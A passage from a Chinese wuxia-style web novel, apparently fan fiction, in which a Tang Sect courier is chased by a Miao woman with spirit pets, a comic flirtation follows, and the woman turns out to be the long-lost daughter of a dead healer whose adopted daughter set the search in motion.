唐千聚头也不回:“就你那点力,我站着不动给你扒你都扒不下。”
“我可以代劳。”<
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一个陌生的声音响起,唐千聚才想起人家现在养了只不得了的猫,不由地瘪嘴:“切,不好玩了。”
四周瞄了一圈,没看到什么动静,唐千聚的眼睛才离开那个洞,自顾自地坐上椅子给自己倒了杯水。
“我被人跟踪着。”
三拾立马在对面椅子坐下,双手手背托着下颚,表情严肃:“细说。”
唐千聚一口气喝完那杯水,才开始神神叨叨地说:“我接了个委托,雇主让我去苗疆找一样东西。为了确保是任务物品,我肯定得先拿到手看一眼对吧?然后就被人给发现了。”食指随着他说话的节奏一下一下戳在桌面上,“那人一直紧追不放,我特意反方向绕了远路,再转头回来的。”
三拾挑眉:“这都没甩掉?”
“我本以为甩掉了,昨夜回到这边后直接就去找了雇主,结果发现没甩掉。”唐千聚双手一摊,食指改成点空气,“得亏夜里下雨,那人没能及时跟上,我立马就近找了个地方躲起来。谁知道躲的那个地方,主人家很早就起来煮食了,还发现了我,我就只能另找个地方先待着。”
“然后呢?”
“三拾,你也知道的,我不能把雇主给暴露了。所以我得先迷惑一下那人,等那人没注意到,我再去找雇主。所以……”
“所以?”
“所以我今晚先在你这躲躲。”
唐千聚笑了,剑眉星目间透出一股灵气,明明早已弱冠的人,却还像少年般明媚耀眼。
三拾被唐千聚的笑容感染,也露出了一个微笑。他笑着站起身,笑着打开门,笑着回头看唐千聚,笑着说:“滚。”
唐千聚的五官立马拧作一团,哀嚎道:“三拾!你好冷漠!”
三拾依然微笑:“你个狗东西把人招惹到我家来,等会把我家打没了,我就把你的头拧下来坐。”
“哎呀不会哒不会哒!”唐千聚摆着手往三拾走去,“不会把家打没的。”然只是一抬眼,他便看见了院子墙上趴着的一只紫色蜘蛛。
下一秒,唐千聚右手抬起,手臂微微一动,腕部瞬间射出去一支银色小箭,精准地命中了那只蜘蛛。电光火石间,三拾听闻空中传来一声急促的笛音,同时感到腰间被人一搂,整个人腾空往后倒退。
待三拾重新站稳,屋里已经没有唐千聚的身影,而他刚站的地方,地板上还残留着一丝紫色的雾气。
三拾低头看向搂住自己腰的那只手,顺着那只手看向身后的二郎。二郎刚好低头,四目相对。距离那么近,近到二郎能听到三拾的心跳声,周遭都安静了,仿佛坠入了一个只属于他们的世界。
“你……心跳好快。”二郎垂眸,那双金色的瞳孔漫出水波,点点笑意爬上嘴角。
“废话!你被人突然猛拉一把双脚离地吓吓看!你心跳不快那就是吓死了!直接埋得了!”三拾破口大骂,瞪了二郎一眼,用力拍掉腰间那只手,气鼓鼓逃离那个怀抱。
显然,三拾并没有坠入同一个地方,他应激了。
二郎委屈:“我是为了救你……”
三拾不听,三拾愤怒。
真把人引来了,唐千聚你个狗东西害人不浅!
12.唐千聚 x 祝离2
二郎蔫了吧唧走到门背后,一起扒着门探头望。三拾倒吸一口凉气,他没心思顾及二郎了,因为他看到他的院子里有两条巨大的蛇,一只巨大的蝎子,以及一只巨大的蜘蛛。
救命,我院子还能要吗?
只见那道蓝黑色的身影在夜色中急速移动着,跳上了围墙。地上已经散落了不少弩箭。唐千聚脚步无声,在地面与围墙上来回游走,周旋着与巨大虫子们拉开距离,看准时机发射弩箭。
灵宠们似乎知道他更擅长远距离攻击,灵蛇与圣蝎屡屡突进,同时在外围的天蛛还不停吐着蛛丝,要牵制唐千聚的移动。
作为一名合格的唐门弟子,唐千聚的近战能力当然不会弱。只是那灵蛇和蜘蛛一旦近身,各有本事能对敌人进行缠绕。且不说能不能挣脱得开吧,就光想到那滑溜溜的蛇身和粘腻腻的蛛网紧紧贴着自己……唐千聚立刻鸡皮疙瘩起了一身,脑海里只剩着一句话——莫挨老子!!!
唐千聚知道,苗疆人擅用笛子来操控灵宠打架,操控的那个人不会待得很远,必定在视野范围内,那只需要找到人……三拾家这个围墙挡住了外围平地的视线,能看到里面情况的地方就只有附近的几棵树上。
对唐门弟子来说,在夜色中执行任务那是家常便饭,他们的眼睛即便是在黑夜里也十分敏锐。对明教弟子来说也是——围观群众二郎,早就发现了树上那个身影。
二郎拍了拍三拾的肩膀,伸出手指向某棵树:“三拾,你看那里有个人。”
三拾闻言抬头,猛地撞上了二郎的下颚。
二郎闷哼一声,缩了下去。三拾脑袋瓜嗡嗡,一手捂头一手扶门,缓了一会才缓过来,回头瞪二郎。但看到二郎捂着下巴蹲在地上的样子……算了,不跟他计较了。
视线转回二郎方才指的那棵树,三拾夜视能力没有很强,但他看出来了浓密的一片绿色中藏着一块紫色。
唐千聚也看见了,千机弩直接掉转方向,弩箭无声上膛,瞄准,扣下扳机。利箭破空而出,带着尖细的风啸声,没入茂密的枝叶中。
那个紫色的身影迅速往侧避闪,弩箭带着致命的气息擦肩而过,牢牢钉在了她身后的树干上。
祝离吹响笛子,三个灵宠刹时发起了更为猛烈的攻击。
不对,他没有跟她打的理由,直接跑就是了。唐千聚踏着围墙直接跳到外面,落地就跑,天蛛跟着爬墙出去了,圣蝎和灵蛇攀了半天没爬得上墙,转头往木门去,打开门往外跑。
不是,为什么你们苗疆的圣宠会开门?
三拾没想到会正而八经走他家门的居然不是人……吓人。
看出了唐千聚要逃跑的意思,祝离眉头一皱,直接召出风蜈。技能接连打在唐千聚逃跑的路径上,成功让他步伐减缓。再接着一个化蝶,祝离追上了唐千聚。她没有任何迟疑,直接抽出腿部的匕首,对着唐千聚后背猛力一击!
察觉到危险逼近,唐千聚立刻转身,拔出腰间佩刀格挡。
“锵!”武器碰撞发出刺耳的声音。
祝离卸力,后跳吹响笛子,灵蛇、天蛛、圣蝎同时绕过她冲向唐千聚。
唐千聚紧忙向后撤。
突然眼前一黑。
唐千聚感觉自己被一个柔软的“洞”吞了进去,他奋力挣扎,双手用力去推身前的“墙”,双腿还留在“洞”外胡乱狂踢。
只是这“墙”,柔软又结实,四周充满了滑腻的黏液。唐千聚越是挣扎,黏液越是裹满他身体的每一条缝,就像一只苍蝇掉进了食虫植物的捕虫笼里。
电光石火间,他脑海中冒出了一个可怕的想法——苗疆的灵宠,有多少种来着……
他瞬间就不再动弹,刚才还到处乱踢的双腿也耷拉了下来,安安静静地,像是失去了生命……
追出门来的三拾不自觉地咽了一下口水,眼前的景象实在有点惨不忍睹。
夭寿了,唐千聚被□□精生吞了!
“要不是留着一手呱太,我还真抓不住你。”
听到还有其他人的脚步声,祝离警戒回头,三拾立马举起双手。祝离目光转向二郎,三拾胳膊肘捅了一下二郎,二郎也乖乖举起双手。
两人显然没有要打的意思,祝离松了口气。她依靠着玉蟾,身姿婀娜,体态妩媚,看向唐千聚“剩下”的半边身子缓缓开口:
“我本不想跟你打的,但你刚刚杀了我最后一只小信蛛。
“你可真能跑啊,早知道……”
女子微微蹙眉,随手抓起唐千聚衣物上的小银饰把玩,有意无意地拍打着唐千聚的腿,“在苗疆就把你这双腿给废了。”
声音冷冽却又带着慵懒的性感,明明说着最狠毒的话,听上去却像是在跟男郎调情。听得三拾心里像被羽毛拂过,又轻又痒。
听闻苗疆女子善蛊惑人心,今日一见果真名不虚传。
祝离挥了挥手,让灵蛇缠上唐千聚的腿,再让玉蟾把人吐出来。她不得不承认,唐千聚洞察力太强了,轻功和打斗也不弱。若是没有小信蛛,出了苗疆她便能把人给弄丢。所以,她得谨慎,严防唐千聚再跑掉。
唐千聚双眼紧闭,面无表情,四肢瘫痪,一点反抗的意思都没有,就像一个死人。
祝离蹙起了眉,手中紧握虫笛,以防对方“诈尸”:“装死?还想使什么诡计?”
回应祝离的,只有寂静的黑夜。
祝离弯下白嫩的双腿,灵蛇也愈发地往上缠绕唐千聚的身躯,使他无法做出任何能伤害到自己主人的行为。
修长的手指微微用力捏住唐千聚的下颚,祝离的拇指轻轻摩擦着那微冒了头的胡渣,一下,一下,仿佛在安慰应激的小狼狗。
然而眼前的人依旧没有丝毫的动静。祝离双眼半瞌,嘴角勾勒出一个不怀好意的笑容。
她凑近唐千聚的脸,手指顺着唐千聚的脸慢慢往下抚,到喉结,到锁骨,到结实的胸膛,寸寸描绘。他身上还残留着玉蟾的唾液,祝离指尖轻轻打转,像在给他抹着某些不可言状的透明液体。
三拾想起自己给梁三小姐画的那些画本,那些会让梁三小姐脸红心跳尖叫奔跑的图。
等等,这是……真人示范?
三拾深吸一口气,开始认真盯着二人细看。这么好的学习机会可不多,不能浪费了!
唐千聚啊唐千聚,传闻苗疆女子会把姿色不错的男子掠回家中当男宠,
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不如你就从了她吧。我同意这门婚事。
“嗯?你这是什么表情?我戏弄你的朋友,你生气了?”三拾回过神来,发现祝离已经站起了身子看着自己。
“姑娘请便,我只是看看。”
“哦?你过来一下。”祝离朝三拾勾了勾手,露出一个美艳的笑。
三拾还没来得及开口问干什么,二郎就一把手拦在他面前。
祝离看到那个挡在前面的人,脸上神态竟是如临大敌,内心起了挑逗的意,“我又不会吃了他,你紧张什么?”
二郎当然紧张,谁知道这苗疆女子会不会伤害三拾。更重要的是——她很好看。那种娇艳的美,一个眼神就能把多少男子的心勾走?二郎得严防,万一三拾鬼迷心窍……
见二郎没说话,只一味地挡在三拾面前,祝离的兴致来得快去得也快,没心思玩了,“这人好像晕过去了,你们不过来看看?”
“我们不认识他,你带走吧。”三拾积极卖队友。
狗东西,人是你惹来的,你自己解决。
“不认识?那方便借个地方我放人吗?”
“不方便,你可以趁人还没醒连夜把人带回苗疆。”
“这么狠?看来真不是朋友。”祝离疑惑,但祝离不在意:“我初来中原不熟悉,阁下可愿行个方便?”
三拾张嘴就拒绝,但祝离甩过来一个东西,三拾抓住一看:“不方……非常方便,姑娘请随我来。”
二郎看着三拾把那片金叶子收入囊中,心里很不是滋味。这女的不会带着那个男的像他一样,以后都靠钱赖在三拾家吧?那他以后睡哪?他不会还要给蜘蛛□□蝎子蛇让位吧?这种事情不要啊!
“不能收留她!”二郎拉住三拾的胳膊。
“为什么不能?她给钱了。”三拾对上那双金色的眼睛。
“给钱也不行!”
“哥们,你这就不对了,你也是给了钱才能在我家住的。”一句话让二郎闭了嘴。“除非,你用更多的钱来购买我不让她进屋的权力。”三拾眼里只有钱。
二郎立马去摸钱袋,再次想起自己全部钱都给了三拾了。
“哦你没钱了,那你不能挡住兄弟赚钱。”三拾抬脚就走,二郎只能眼巴巴地站在原地看着他往前走。
祝离路过,好笑地瞥了二郎一眼,她的背后跟着卷着唐千聚的灵蛇,还有圣蝎、玉蟾、天蛛,风蜈——浩浩荡荡。
最近伤养得差不多了,也该干活了。二郎想。他真的很需要钱——他不想连蜘蛛□□都赢不过!
“姑娘,你的宠物们可以停在院子吗,屋子不太大。”
如果可以,三拾希望它们连院子都不要进,但是这么几个巨物在外面他怕深夜惊动天策府。
祝离笛子一挥,伸出手蹲到地上。几只巨物逐渐化小,小到与普通同类一样后,爬进了她的衣袖里,包括卷着人的灵蛇。
三拾叹为观止,见识还是少了,苗疆人居然随身带这么多动物虫子。但是睡在地上的唐千聚咋整?他可拖不动。
正考虑着要不就丢院子里,三拾看见祝离提起唐千聚的一边胳膊,直接往屋里拖。
好狠的女人。
13.唐千聚 x 祝离3
唐千聚睁开眼的时候,祝离正慵懒地靠在躺椅上,另一边的桌子上三拾和二郎在喝茶。三拾本就不大的屋子现在更是拥挤。
问就是三拾嫌重懒得搬的躺椅,祝离自己搬进来屋内了。二郎恨,恨自己怎么就没想到可以把躺椅搬进来。
“呦~醒啦?”祝离瞥了一眼坐在地上那个人,语气和表情满是揶揄。
周身的不适感让唐千聚发现自己湿透了,衣物贴着皮肤,勾勒出他似有似无的肌肉。
“我给你把□□口水泼干净了,省得你那一身滴得我屋里地板到处都是。”三拾一副恨铁不成钢的表情,“记得给我钱,不免费伺候。”
唐千聚低头沉默,他实在有点狼狈,不愿回想刚才都经历了什么。
唐门弟子某,因内心无法接受黏滑滑的东西,被大□□吞入肚时大受打击而撅了过去……
说出去真的好丢脸……蜀中唐门的脸都要被他丢尽了……
祝离半瞌着眼,看似已经很困,她从腰间掏出一个蓝色的穗子流苏,在手上把玩。
唐千聚抬头看到,眉心立马皱起,同时伸手摸向衣襟内——那里已经空空如也。往日总是嬉皮笑脸的人,沉下脸时竟会褪去那几分稚嫩,显得颇为老练。
唐千聚不动声色地活动了一下手脚。“姑娘为何偷我东西?”
“来说说吧,你去苗疆的目的。”祝离抬手挡住嘴打了个小小的哈欠,手撑着脸眯起眼,慢吞吞说道,仿佛下一秒她就要睡着了:“你走那么远的路来到苗疆,又费尽心思甩脱我的跟踪,说出一个能让我信服的理由,我就还给你。”
困意随着她慵懒的声线蔓延,感染了三拾,三拾也不自觉跟着打了哈欠。
唐千聚立马转过脸看三拾:“你怎么不阻止她偷我东西?”
三拾无语了,骂骂咧咧:“狗东西,打个哈欠怎么就碍着你了。好好跟你自己惹的麻烦聊去,别打扰吃瓜群众。”
祝离显然对“狗东西”这个称呼感到十分新鲜,眉眼微微张大看向三拾。
就在这时,唐千聚忽地双脚发力蹬地推起,只一瞬间便拉近了和眼前人的距离,伸手去探流苏。
祝离眼急手快,反应迅速,立马把流苏收回腰后,同时探身向前,另一边手一把钩住唐千聚的脖子,往下一拉——
两人的脸近在咫尺,祝离在唐千聚的眼睛里看到自己露出了一个娇媚的笑。
“嗯?怎么还急着给姐姐投怀送抱呢?”
距离过近,一张一合的柔唇占满了唐千聚的视线。祝离身上的银饰随着她的动作摇晃,磕碰发出微弱的叮啷脆响。她身上特殊的香味蛮不讲理,不容拒绝就往唐千聚的鼻腔里灌。
唐千聚突然想起曾在大漠城中尝过的紫葡萄——香软多汁,又嫩又甜,他不由地咽了一下口水。
祝离见状,笑得更是灿烂。
唐千聚的脸直接烧红,双耳熟透。很危险,速远离!
他头颈使劲往后,要挣脱祝离的束缚。而祝离似捞到了一个喜爱的玩具,紧紧挽在手中不愿放开。
尝试几番,唐千聚愈发着急,直接把手撑在躺椅的把手上,想借力挣脱。祝离见状,直接把另一边手也搭上他的脖子,卸掉了重心。
唐千聚一使劲,忽地一下连祝离一起从椅子上带了起来。
两人从一蹲一坐,变成了贴身对立。祝离环抱着他的脖子,像一对即将分离的恋人在不舍对望。世间万物都不忍打扰。
场面陷入了静止……
…………
仿佛过了一个漫长的冬季。最终,是唐千聚在“看谁先忍不住”游戏中败下阵来,不甘且无奈。
“放手。”
明朗饱满的声线此刻干枯沙哑,像沙漠中久未摄水的迷路者。
他衣物未干,祝离的双臂像焊在了他的肩上。身体僵硬不敢动,双手垂在身侧紧捏着拳,仿佛眼前是一块烧得通红的人型烙铁,稍不注意触碰到就会被烫下一块皮。
反观祝离笑得很欢,她玩得很开心。
“不放又如何呢?”她压低声音,像在黑夜中诱惑赶路者的鬼魅。
唐千聚脑袋一片空白,他紧抿着唇,闭上双眼,想深呼吸找回一些理智。没想到一吸,那股幽幽香气更是贪婪地钻进他的鼻腔,侵入他的肺腑。
理智不了一点!
苗疆女子果然最会蛊惑人心!!!
唐千聚觉得自己窘迫的样子肯定取悦了祝离,那似水的眼波烫伤了他的瞳孔,他僵硬地转移视线。然后他想起来了,屋子里还有另外两个人。
他拼命向三拾挤眉弄眼,用他乱飞的五官去暗示——救我!
正在认真学习的三拾突然被点名,他选择无视求救信号。这么好的真人示范,再来点,再多来点。好看,爱看!
而另一位吃瓜群众二郎,也在好好学习。他明白了,祝离不会是他的敌人,这是他的老师啊!
祝离看看唐千聚,又看看另外两人。不是很懂,但显然这仨人的脑子绝对不同步。
她侧过头垫在自己手臂上,双脚换了一下重心,似乎站累了:“告诉我,我就放手,怎么样?”
唐千聚看着祝离半瞌的双眼,女子细长的眉眼没有更多的情绪。
不怎么样。基本的职业道德他还是有的,不管任务成功与否,他都不能透露雇主的信息。
“真是不听话的弟弟。”半天等不到唐千聚的回应,祝离也没坚持,满不在乎地松开双臂,窝回了躺椅里。
唐千聚如释重负,默默调整呼吸。那股香气肯定是苗疆人的迷魂药,不然怎么解释,闻到那股香味他的脑子就不能转动了?
祝离这手拿出流苏一丢,那手又掏出了另一物一丢。
唐千聚紧忙伸手去接。一手是他随身带了多年的信物,另一手,是一枚玉佩——这便是雇主让他去苗疆找的东西。玉佩握在手中细细摩擦着,唐千聚皱起眉头,显然无法理解祝离这个行为。
“去问问你的委托人,要不要见我。”祝离大手一挥,作赶客状。
唐千聚在苗疆蹲守那么久,素未谋面却大费周章偷她一个玉佩,偷了却又放回来,她便猜到了他是受人
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所托。这一路跟踪他,本是想在暗处得到一些关于他委托人的信息。运气好的话,他们见面时她就在现场。
只是没想到唐千聚那么敏锐,屡屡发现她的踪迹,还使尽办法摆脱和误导。
唐千聚注视着祝离的脸,缕了一下思路:“你与我的委托人是何种关系?”
祝离半瞌着眼,慵懒且无所谓地说道:“素未谋面的父女。”
唐千聚的表情很明显是被吓了一跳。他细细观察着祝离,脑海中在核对各种已知信息。无法确认她话语的真实性,对方可能是诈他,还是要警惕。
“你既然现在能拦下我,那你为何不早些截拦与我说明,反倒是追着我跑了一路?不合理。”
祝离看向唐千聚,歪了歪头,嫣然一笑:“想知道?”她勾了勾手指:“附耳过来。”
唐千聚犹豫,这苗疆女子嘴里肯定没有什么好话。她就像一个猎人,挖好了陷阱,笑眯眯地让老虎过来跳。
但他还是向前靠近,附身凑耳。
“因为——”
祝离轻柔细语,声音百媚,呼吸扫在唐千聚耳朵上,唐千聚感觉全身像有蚂蚁在爬。好痒,耳朵好痒,心也好痒。
“我从小就喜欢玩追逐猎物的游戏,你——是猎物。”
唐千聚“唰”地一下立起身,连连退至门边,手剧烈抖动指着祝离,嘴上哆哆嗦嗦却说不出一句话。那张脸涨红得夸张,又气又急,头皮都发麻了,根本无法冷静。
他没有由来地想,自己还是挺有自知自明的。
祝离捉弄成功,笑得双肩发抖,一手抱着肚子,一手不停拍打着椅子把手。
最后,唐千聚在祝离的笑声中落荒而逃。越跑越快,越跑越快,仿佛后面有鬼煞在追。
“太纯情了弟弟,这可怎么跟姐姐斗呢?”祝离眉眼弯起,缓缓靠回椅背。
三拾:说什么了?说什么了!?让我也听听啊!!!
现在跑了一个人,场面颇有些尴尬。
三拾没话找话:“这次不怕他逃掉了?”
“他会回来的。我要休息了,我睡着后什么都不会知道,也不会听到。”祝离说完,便闭上双眼。
她自认为看人还是很准的,屋里那俩人可不安生,起码那位个子更高的不安生。她花钱买的这个看客席位,她要近距离稍稍看戏。
三拾闻言,困意突然铺天盖地袭来,没有在意后面那两句话的深意。
都怪唐千聚那个狗东西,害得他深更半夜还未寝。
三拾打哈欠往床边走,二郎跟着往床边走。
三拾坐到床边,二郎跟着坐到床边。
三拾和衣躺下,二郎跟着躺下。
“你为什么躺在我的床上?”三拾坐起身。
“躺椅被她占了,我不睡床我睡哪?”二郎跟着坐起身。“我也是给了钱的。”
三拾的眼皮自顾自地黏上又分开,黏上再分开。他真的好困,困得不想再动脑思考。他直挺挺倒下,睡着了。
二郎跟着倒下。
就这?祝离失望。
14.唐千聚 x 祝离4
门砰一声被推开,三拾惊醒。他翻身捞起鞋子,狠狠砸向进门那个人。
唐千聚轻松接住。
今天也想打死这个狗东西!
唐千聚鞋子随手一丢,没有理会三拾,直走到祝离跟前。祝离没睡醒,神态疲倦,眯着眼勾了勾嘴角:“早上好啊,纯情弟弟。”
唐千聚表情有一丝裂,抵拳轻咳掩盖,假装没听到那个称呼:“我雇主希望和你见一面。”
祝离缓缓伸了个懒腰,精致的五官微微皱起再舒展开,慢吞吞起身。她脚步不稳,惊呼着踉跄往前倒,唐千聚手比脑快,下意识就伸手去扶。祝离顺势挽过他的手臂,微笑着抬头看他,脸上神采奕奕,哪像刚睡醒的样子。
唐千聚宛如惊弓之鸟,脸色一变,迅速抽回自己的手。抽了半天没抽回来,心里直骂臭丫头劲真大。
“你……你装的!?”
祝离眨了下眼睛,没有否认,扯着人往门外走:“走吧。”
没想到大早上刚睡醒又能看到真人示范,给三拾整清醒了。他起身单腿跳着去捡那只鞋子,抬眼看向院子。
那俩人较着劲在走,一个拼命远离,一个用力拉回。三拾能远远看到唐千聚那红色的耳根,听到他重复在吼的“放开!”,吵吵闹闹地打开门出去了。
三拾有点失望,刚刚居然期待了一下两人要怎么挽着手翻墙出去。
穿好鞋子回头,三拾倒吸一口凉气,吸得太急呛到了,猛咳嗽两声。他没忍住抖了一身鸡皮疙瘩。
二郎侧躺在床上,托着头,立起一边腿。手超绝不经意地顺着自己身体从腿抚到腰,露出一个邪魅的笑,对三拾勾了勾手指:“过来。”
可能是刚起床,也可能是夹得过于用力,这一句由祝离说出来魅惑十足的话,从二郎嘴里奔出,竟带着一股宫里太监的味道。
有人能管管我的死活吗!
三拾嘴角抽了抽,往二郎走去。他看见二郎面露惊喜,发自内心的真实笑容代替了那莫名其妙的邪魅一笑。三拾本想过去给他一拳的,突然不想了。
他笑起来的模样并不讨人厌。就像街上那只毛发黑白的真猫咪,经常整出莫名其妙的动静,让人难以理解它的小脑袋里在想什么,但不妨碍它依然是毛绒绒很好摸很可爱的小猫咪。
三拾弯下腰,伸手抚上二郎那棱角分明的脸,那双金色的瞳孔睁得巨大,难以置信地注视着自己。
“不要去学别人,做你自己就够了。”三拾是发自内心的。
发自内心地希望对方不要再辣他的眼睛了!
但二郎愣住了。三拾平静的双眼在与他对视,表情那么认真,他意识到两人近在咫尺。
良久后,二郎重新展露笑容,眉眼弯起,点了点头:“好,我听你的。”
是只乖猫咪。
等三拾反应过来的时候,他才发现自己居然在微笑着摸二郎的头,一愣,手停住了。
二郎察觉到那只手的停顿,伸了伸脖子,把头往那只手里贴,示意对方继续。
“我要出门了。”三拾猛地收回手站直身子,丢下一句话,头也不回快速出门。他有点慌,像只遵循本能远离危险的野兽,只想逃离。
二郎挠头。他出门干嘛去?竹笈画具啥都没带。
三拾走着走着也想起了自己啥都没带,一时冲动跑了出来,现在回去怪尴尬的……去别的地方待一会先吧。
站在刘婶家门外,三拾与熟人对望。
“你怎么还跟过来了?”唐千聚不满皱眉,“不是什么热闹都能凑得紧的吧?”
三拾无语抿唇:“你说你们要去见雇主,你雇主不会是林青荷吧?”
唐千聚惊呼:“你认识我雇主?”
“这就住在同一条街的,你之前都没想过要问问我认不认识?”
“我又不住这边,我哪知道你们认识。”唐千聚不满囔囔,“你也没说你认识那么多人啊。”
不是,我连你都认识,这还不能体现我的人脉吗?
三拾懒得跟他计较,提出了一个至关重要的问题:“既然你雇主离我家这么近,你为什么昨晚跑了今早才回?”
祝离显然也对这个问题非常好奇。
唐千聚把头转开,拒绝了祝离的视线。面前的门正好吱呀一声被打开了,唐千聚如释重负。
林青荷的目光转了一圈,最后停留在祝离的脸上,莞尔一笑,侧身让道:“二位请进,三拾也进来吧。”她方才听到了门外的对话。
没想到还能续吃这个瓜,三拾面无表情但步子迈得宽,很快跨入了林青荷家的门。
淡淡的味道扑鼻而来,院内一侧晾晒着药材,另一侧开垦出一片泥地,毫不意外也是种着一些药植。三拾好奇张望,自家院子好像也可以种点什么。
林青荷带领三人走至屋檐下,木桌上还堆放着药材和铡刀,林青荷把桌面清空,搬来一套茶具。三人静静看着她手起手落忙活着,谁都没有说话。
一杯热茶放至祝离的面前,林青荷微笑着看她,缓缓开口:“你与父亲长得很像。”
祝离托着腮,手指沿着滚烫的茶杯口轻轻绕圈,她微微挑眉,很满意对方直入话题。
“我是父亲捡来养大的孩子,玉佩是我让人去找的,”林青荷接着给另外两人倒茶,轻声说,“父亲已经不在了。”
祝离忍不住对这名女子产生好感,她太喜欢这种说话直入关键点的人了。林青荷几句话直接让祝离断了揣测,她明白祝离想知道什么。
“这些年,你与你的母亲过得如何?”林青荷目光平静,语气温柔,像在问诊病人。
“挺好的,我阿娘也早就死了。”祝离坦然说道。
当年,林肃秋上山挖药材,偶遇了祝予。祝予偷跑到中原历练数年,见识过林林总总的人后,逐渐瓦解了心中对于中原人的刻板印象。两人情投意合,坠入爱河。
然好景不长,祝予收到了苗疆内乱的消息。
林肃秋每日夜里都能看到祝予静坐在窗前,月光印入她的眼眸,像被无尽的深洞吸走,不再清亮。他明白她的纠结,明白她的不舍。他告诉祝予
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,他会陪着她,无论是留中原还是回苗疆。
某天醒来,一封信代替了床边熟悉的身影。林肃秋看完了信,依旧与往常一样,吃饭,看诊,制药,睡觉。吃饭,看诊,制药,睡觉。
时间在流逝,时间早已停止。
再直到后来的某次出外诊,林肃秋听到有微弱的哭啼声从桥底下传来。他的屋子里,终于不再是噬人的寂静,婴儿吵耳的啼哭声,竟让他能从窒息的无边思念中喘得一口气。
林肃秋不懂得该如何养大一个女婴,于是他回到万花谷。
一直到林肃秋临终前,林青荷才知道这些事情。
林青荷问了,闻言苗疆内乱很快便平定了,这么多年您为何没去找她?
林肃秋一遍一遍地摩挲着手上的玉佩,混浊的双眼没有焦点,这是林青荷时常会看到的画面。她曾好奇询问过玉佩的事,父亲的回应从来只有沉默。每每看着玉佩,他都会陷入一种令林青荷感到压抑窒息的情绪里,林青荷不懂,只能每次都找话题来转移父亲的注意力。
林青荷等了许久,久到她觉得父亲会像以往那样闭口不言,林肃秋才喃喃道:“她在信中写道,不许我去找她,但凡我踏入苗疆一步,她永生不会再见我……”
“我知道,她是担心我一个外人在内乱的苗疆会更危险。早些年,我不愿成为她的负担,没有去找……”
“后来,不知道是哪一天,我突然发现自己的脸上长皱纹了……头发也全白了……”
“她喜欢看年轻貌美的男子,我怕她再见到我,会……会不再心悦我……我没有勇气……”林肃秋的喉咙被什么东西堵住,哽咽着,颤抖着,“我现在这般人老枯瘦,青荷,你说,她会不会嫌我难看……”
林青荷觉得父亲是遗憾的,是后悔的。后悔没有迈出那一步,用借口包裹着自己的懦弱,时间越久,就越是提不起勇气。他总让患者切勿忧思过度,医者却不自医,三十而立便已满头白发。
但无论如何,这都是养她疼她的父亲。前些日子,她念起父亲,翻出父亲的遗物时,发现那枚玉佩似乎是对佩。于是她发出委托,让人去苗疆寻一枚玉佩。
唐千聚问:“你为何不是让我直接找人,而只是找玉佩?”
林青荷说:“我不知道是否真的有另一枚玉佩。更重要的是,时间过去太久,我不知道她后来有何际遇,贸然打扰,只会害她陷入两难之地。”
祝离半磕着眼,像被教书先生念叨到犯困的学生:“你怎么确定我或我娘一定会带着玉佩?苗疆那么大,你又怎么确定这家伙能刚好遇到我?”
林青荷说:“我不能确定,我只是想赌一把,我的委托是有说明了只找一个月。”
祝离挑眉看向唐千聚,嘴里揶揄道:“你就不怕他拿钱不办事,偷鸡摸狗一个月回来跟你说找不到?”
唐千聚暴怒锤桌:“喂!不许污蔑我,更不许污蔑我的职业道德!”
林青荷笑了,笑俩人的欢脱,也笑她父亲那可悲的懦弱。祝离的眉眼,一动一静,都太像林肃秋了。
15.唐千聚 x 祝离5
祝予在路上便察觉到自身的不对劲。
她短暂地失神无措过,义无反顾回到苗疆,站在右长老艾黎的身后,为镇压乌蒙贵的叛乱奔波走动。平定叛乱后,仙教的重建等问题迫在眉睫,一连多个月的劳累,让祝予临盆时伤了根本,落下病根。
她对外隐瞒了孩子的汉人血缘,但没有隐瞒孩子自己。在祝离懂事之后,祝予常常与她讲起自己在中原历练时遇到的各种事情,包括她那素未谋面的父亲。阿娘在谈起旧人时,脸上总是带着笑容,温暖又美好,不知不觉间,祝离对于这位父亲,内心是充满好感的。
祝予在一个寒冬的雨夜病发离世。她对祝离说,哪天想去中原了,想去找寻父亲了,便大胆地去。若是不想去,那就不去,一辈子留在苗疆也很好。
直到那个突然出现在她面前的人,目标是她腰间的玉佩,祝离知道,是时候出门走走了。
林青荷问:“你想去见一下他吗?”
祝离捂嘴打了个哈欠,伸了个懒腰:“不去了,生前没见人,死后看个坟,何用?徒增悲凉罢了,我可不会去哭坟。”
林青荷低眉轻笑,她想过祝离可能会深恶痛恨,会痛心疾首,会大失所望——毕竟连她自己都无法认可林肃秋的懦弱。她唯独没想过祝离是这般洒脱。
“想必你的母亲也是一位极有意思的女子,坦然豁达,性情自在,实在令人羡慕。”
祝离嘴角上扬:“我听出来了,你这拐着弯在骂我冷血无情呢。”
林青荷的眼尾几缕细纹微微叠起:“不敢。”她起身回屋,拿来一个木盒子放到祝离面前,里面装的正是那双对佩。两枚玉佩透着温润的光泽,静静地躺在软布上,侧面弯曲的形状吻合,似一对拥抱合眠的佳人。
祝离从林青荷那双平静的眼睛中读出了询问的意思。她伸出手,要拿回属于自己的那一枚,那是阿娘留给她的。
祝离也曾问过母亲,又不是有什么深仇大恨,为何不再见了呢?
母亲只是淡淡地眺望窗外:“他不适合待在苗疆,而我不想再离开苗疆……”后面还说了什么,祝离不记得了,只记得阿娘轻轻叹了一口气。
最终,祝离收回了手。
“就放在一起吧。”
祝离走到门边,回身好奇问道:“我该叫你姐姐,还是妹妹?”
林青荷没想过这个问题,她微微歪头思考了一下,笑道:“我应该是妹妹。”
祝离眉眼挑起:“这趟没白来啊,白捡个妹妹。”
“或许不止捡了一个妹妹呢。”林青荷笑且谜语。
离开林青荷家后,祝离一路沉默无话,表情淡淡。
来时被各种“骚扰”的唐千聚,这一时清净,反倒让他心里挠挠的,哪哪都不太得劲。他走在祝离身旁,左抠抠耳朵,右抠抠指甲,上抠抠头发,下抠抠腰带,总之没停过。
祝离瞥了他一眼:“身上有跳蚤?”
唐千聚默默放下手,嘴皮磨了半天,突然扬声:“嘿你妹妹真大方,结款给这么多,要不要去这边集市逛逛?想买什么尽管挑,哥哥我请客!”
祝离没好气地呵出一声笑,他搁那舞半天,就这?
“没兴趣。”
唐千聚再接再厉:“额……我猜你一定没见过滚滚,要不要去我们唐家堡看看?滚滚超——可爱的!”
“不去。”
“额……那……”
“我要回苗疆了。”
一句话吸光了唐千聚所有精力,他像个寿尽的老人,一口气泄掉了,连声音都萎了:“行吧……那你……别难过太久了。”
祝离停下步伐,她抱着手,歪头挑眉注视着眼前人。唐千聚走了几步发现身旁空了,连忙掉头回来,不自觉地紧张:“反悔了?想去集市还是唐家堡?”
